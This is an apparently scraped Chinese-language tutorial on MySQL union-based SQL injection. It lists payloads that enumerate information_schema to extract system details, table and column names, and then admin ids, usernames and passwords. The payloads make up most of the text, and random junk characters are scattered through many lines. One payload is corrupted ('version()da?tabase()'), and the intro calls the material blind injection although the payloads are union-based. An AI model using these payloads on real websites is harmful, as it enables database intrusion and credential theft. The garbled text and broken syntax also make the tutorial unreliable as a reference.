mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库

* W. f( z* B: }1 `  e6 j- bMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
7 a; N9 l: w0 w: i|SCHEMATA ->存储数据库名的表
) C: e  q4 y) U' h# f% x4 T3 p|---字段：SCHEMA_NAME ->数据库名称

- e) d  r$ o- I* y* X: X. k, g|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
; c; _* x1 v+ H$ E  w% g|---字段：TABLE_NAME ->存储表的表名
1 g& l+ d; K4 u6 \
|COLUMNS ->存储的字段名表
7 o+ y1 V: Y' `0 p  I|---字段：TABLE_SCHEMA ->该字段所属数据库名
& n  o4 W) v" y8 y|---字段：TABLE_NAME ->存储所属表的名称

|---字段：COLUMN_NAME ->该字段的名称
; z+ m4 E2 p8 O2 w' u


$ w# o9 [4 m4 J8 l6 @. p4 G###########################################################################
* b+ z9 R* D, z, g& w" z
' E4 x6 r0 ?5 O0x001 获取系统信息:
5 F7 [/ B* l3 ^; e7 c5 s
+ D  b: B' R3 `# `union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*
+ M( g2 F* j9 d) Y
@@global.version_compile_os 获取系统版本
8 ^5 v& I) }; S1 D$ j# N' F
/ x; A+ `. b  n% b9 `' O, R@@datadir 数据库路径
database() 当前数据库名称
% F' R: i- c' b" J0 z- B0x3c62723e 换行HEX值

$ W2 w. }' q- e2 V, `*/


) P) }8 ~' K5 I. F
+ w) t8 U+ R- z  L* @# \6 n3 s######################################################################

0x002 获取表名

! I" k' e( ^- g7 Q6 [( F0 F; t5 ounion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
; {% Q8 W2 I  l- `* w2 S4 w) u


/*
2 k7 o- ]- }' a' [. p
3 p: Z- W% s# k) @. d0x67617264656e 为当前数据库名
) U( T: y! |; T
8 c$ A) E+ e; [  A) P8 kgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
; M2 D/ Q9 f, G  o  r9 f# U+ z
######################################################################

* f3 F9 x2 n; ^# _0 D3 \
1 l: g) r8 H" t5 P3 x
2 y! z1 h: z& J0 Y0x003 获取字段
+ Q/ P5 H6 i3 ]) q3 G# [
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

5 N* L  a0 t) e* G4 g/*

7 R- g" u( d" E6 O$ I' Z3 egroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表
' H* s4 k- U5 r' A
; U6 R: N" ^; j9 k; f9 u8 B8 T0x67617264656e ->数据库名
; \# t# n* W: a! E+ ^
  L  U# s2 D  Y( A/ e( [*/
, e. M8 ]7 b+ r; m9 @% \; `
#####################################################################

4 D% Q. S  k: x7 Z. u
  c3 |9 e/ i9 I8 B* Y4 f
0x004 获取数据
; m& p; K: K3 w* x
union select 1,2,3
! W) {5 [; w: j! w( @- }5 V! X8 O,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin

2 m/ t1 K. @% `' {

% J% |7 a9 x9 }$ w# }/*

3 Z7 T1 f, R: F1 G( H0x3c62723e 换行符号HEX编码
: p' V( \) R5 R6 K7 M: f; m
4 c" G* P+ D+ \: Z5 p2 ~$ Y  e. O5 Rgroup_concat 同时获得该字段所有数据

*/
/ `0 N1 h6 w' Z4 T$ ^+ {4 ?